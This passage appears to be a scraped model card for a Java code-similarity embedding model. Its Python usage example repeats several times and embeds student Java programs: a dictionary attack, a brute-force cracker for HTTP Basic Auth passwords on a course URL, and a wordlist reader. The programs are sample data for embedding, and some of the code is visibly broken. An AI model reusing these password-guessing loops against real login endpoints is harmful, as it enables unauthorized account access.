cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = 